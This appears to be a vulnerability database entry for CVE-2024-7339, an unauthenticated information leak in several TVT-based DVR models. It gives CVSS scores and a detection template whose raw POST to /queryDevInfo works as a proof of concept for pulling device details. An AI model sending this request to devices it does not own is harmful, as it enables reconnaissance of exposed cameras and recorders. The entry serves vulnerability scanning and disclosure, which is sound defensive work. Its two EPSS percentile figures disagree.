CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
LOW
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
CVSS4
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/SC:N/VI:N/SI:N/VA:N/SA:N
AI Score
Confidence
Low
EPSS
Percentile
73.2%
A vulnerability has been found in TVT DVR TD-2104TS-CL, DVR TD-2108TS-HP, Provision-ISR DVR SH-4050A5-5L(MM) and AVISION DVR AV108T and classified as problematic. This vulnerability affects unknown code of the file /queryDevInfo. The manipulation leads to information disclosure.
id: CVE-2024-7339
info:
name: TVT DVR Sensitive Device - Information Disclosure
author: Stuxctf
severity: medium
description: |
A vulnerability has been found in TVT DVR TD-2104TS-CL, DVR TD-2108TS-HP, Provision-ISR DVR SH-4050A5-5L(MM) and AVISION DVR AV108T and classified as problematic. This vulnerability affects unknown code of the file /queryDevInfo. The manipulation leads to information disclosure.
impact: |
An attacker get detailed device information including hardware and software versions, serial numbers, and network configuration.
remediation: |
Implement strict access controls and authentication mechanisms to manage access to the device interfaces.
reference:
- https://netsecfish.notion.site/Sensitive-Device-Information-Disclosure-in-TVT-DVR-fad1cce703d946969be5130bf3aaac0d
- https://netsecfish.notion.site/Sensitive-Device-Information-Disclosure-in-TVT-DVR-fad1cce703d946969be5130bf3aaac0d?pvs=4
- https://vuldb.com/?ctiid.273262
- https://vuldb.com/?id.273262
- https://vuldb.com/?submit.379373
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2024-7339
cwe-id: CWE-200
epss-score: 0.00045
epss-percentile: 0.16163
metadata:
verified: true
max-request: 1
tags: cve,cve2024,dvr,tvt,info-leak
http:
- raw:
- |
POST /queryDevInfo HTTP/1.1
Host: {{Hostname}}
<?xml version="1.0" encoding="utf-8" ?><request version="1.0" systemType="NVMS-9000" clientType="WEB"/>
matchers-condition: and
matchers:
- type: word
words:
- "softwareVersion"
- "eth0"
condition: and
- type: status
status:
- 200
# digest: 490a0046304402200854a7eafd3bb701237ce315534258e891e25fe34c1652b55a1812764ddfc3ca02201376cfbf5e9dec38011bac3616f102aa8bd7b303601e82c7142114ea95191ee2:922c64590222798bb761d5b6d8e72950
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
LOW
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
CVSS4
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/SC:N/VI:N/SI:N/VA:N/SA:N
AI Score
Confidence
Low
EPSS
Percentile
73.2%